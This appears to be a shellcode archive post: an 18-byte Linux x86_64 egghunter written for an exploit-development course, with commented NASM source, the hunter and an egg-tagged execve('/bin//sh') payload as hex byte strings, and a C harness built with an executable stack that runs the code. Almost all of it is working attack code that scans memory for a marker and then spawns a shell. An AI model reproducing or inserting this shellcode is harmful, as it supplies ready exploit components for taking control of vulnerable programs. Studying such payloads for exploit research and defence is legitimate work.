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Linux/x86_64 Egghunter Shellcode

Linux/x86_64 Egghunter Shellcode
Posted Jan 8, 2016
Authored by Sathish Kumar

18 bytes small Linux/x86_64 egghunting shellcode.

tags | shellcode
systems | linux
MD5 | fa0ca739c266f66ac2f3d6772b8bd4d3

Linux/x86_64 Egghunter Shellcode

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/*---------------------------------------------------------------------------------------------------------------------
/*
*Title: x86_64 Linux egghunter in 18 bytes
*Author: Sathish kumar
*Contact: https://www.linkedin.com/in/sathish94
*Description: x86_64 linux egghunter which searches for the marker.
*Copyright: (c) 2016 iQube. (http://iQube.io)
*Release Date: January 7, 2016
*Tested On: Ubuntu 14.04 LTS
*SLAE64-1408
*Build/Run: gcc -fno-stack-protector -z execstack egghunter.c -o egghunter
*
*Nasm source:
*
*
global _start

_start:

egg:
inc rdx ; Address
push rdx ; pushing the value in the rdx to the stack
pop rdi ; sending rdx to rdi via stack
push 0x50905090 ; pusing the egg marker into the stack
pop rax
inc eax ; Real egg marker is 0x50905091 so the the eax register is increased bcz the marker shouldn't be hardcoded
scasd ; check if we have found the egg
jnz egg ; try the next byte in the memory
jmp rdi ; go to the shellcode

*Compile & Run: nasm -f elf64 -o egghunter.o egghunter.nasm
ld -o egghunter egghunter.o
*/

#include <stdio.h>
#include <string.h>

char hunter[] = \
"\x48\xff\xc2\x52\x5f\x68\x90\x50\x90\x50\x58\xff\xc0\xaf\x75\xf0\xff\xe7";

char execve_code_with_egg[] = \
//marker
"\x91\x50\x90\x50"
"\x48\x31\xc0\x50\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x89\xe7\x50\x48\x89\xe2\x57\x48\x89\xe6\x48\x83\xc0\x3b\x0f\x05";

int main(){
printf("Egg Hunter Length: %d\n", (int)strlen(hunter));
(*(void (*)()) hunter)();
return 0;
}

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